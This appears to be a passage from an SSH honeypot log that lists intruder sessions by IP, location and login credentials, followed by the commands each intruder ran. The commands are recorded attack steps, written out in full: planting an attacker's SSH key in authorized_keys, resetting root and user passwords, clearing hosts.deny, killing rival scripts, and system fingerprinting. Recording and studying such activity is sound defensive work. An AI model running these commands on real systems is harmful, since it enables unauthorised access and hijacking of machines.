2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3 // make executable

$ uname -s -v -n -m 2 > /dev/null ×4

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 phantom_root_28 (159.223.79.19) — Singapore, Singapore · 1 session · 19 cmds

2026-07-13 09:05 EDT · as root/system32

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:OUdX1Q9BoVKw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_5 (120.48.22.91) — Beijing, China · 1 session · 1 cmd

2026-07-13 07:08 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 shadow_root (195.178.110.227) — Andorra la Vella, Andorra · 2 sessions · 18 cmds

2026-07-05 10:42 EDT · as root/123456, root/root

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null ×2

$ /bin/uname -s -v -n -m 2 > /dev/null ×2

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×2

$ busybox uname -s -v -n -m 2 > /dev/null ×2

$ ( [ -f /proc/version ] ×2

$ [ -f /proc/version ] ×2

$ head -1 /proc/version | cut -d -f1 ×2

$ [ -f /etc/os-release ] ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 burger_root_4 (172.191.132.202) — Boydton, United States · 1 session · 20 cmds

2026-07-13 05:15 EDT · as pavel/pavel123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pavel123\npA6f5XgXiKpI\npA6f5XgXiKpI"|passwd|bash

$ Enter new UNIX password:

$ echo "pavel123\npA6f5XgXiKpI\npA6f5XgXiKpI\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 samba_sol (170.0.62.246) — Surubim, Brazil · 1 session · 19 cmds

2026-07-13 05:02 EDT · as root/ABCabc123..

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:QJl90SIVeDg0"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_8 (52.170.194.23) — Boydton, United States · 1 session · 1 cmd

2026-07-13 03:47 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 panda_root_5 (115.190.56.152) — Beijing, China · 1 session · 3 cmds

2026-07-13 02:06 EDT · as root/TT@123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

🎭 ghost_root_20 (149.34.253.149) — Singapore, Singapore · 1 session · 18 cmds

2026-07-13 01:34 EDT · as root/qazxsw

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:GlckOAsCTzZC"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_8 (170.187.151.237) — Atlanta, United States · 1 session · 20 cmds

2026-07-13 01:12 EDT · as moon/1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1234\n3qNtNLmW3BQ3\n3qNtNLmW3BQ3"|passwd|bash

$ Enter new UNIX password:

$ echo "1234\n3qNtNLmW3BQ3\n3qNtNLmW3BQ3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dutch_sol_2 (45.153.34.161) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-06-30 19:01 EDT · as root/000000, root/root, user1/root@123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 wraith_root_8 (189.146.59.77) — Miguel Hidalgo, Mexico · 2 sessions · 38 cmds

2026-07-13 00:46 EDT · as root/@dmin@1234, root/luna

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:9gwMQ46AmtWa"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:lZMYq3OsnRhp"|chpasswd|bash

🎭 dragon_root_6 (36.99.46.101) — Guancheng, China · 1 session · 20 cmds

2026-07-13 01:08 EDT · as matic/matic

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "matic\n5fIaiJ6geHME\n5fIaiJ6geHME"|passwd|bash

$ Enter new UNIX password:

$ echo "matic\n5fIaiJ6geHME\n5fIaiJ6geHME\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_30 (113.161.39.122) — Ho Chi Minh City, Vietnam · 1 session · 19 cmds

2026-07-13 00:43 EDT · as root/luna

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Kthtl0QLVyjv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_24 (110.49.76.244) — Bang Bon, Thailand · 1 session · 2 cmds

2026-07-13 00:35 EDT · as ubuntu/Hello@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

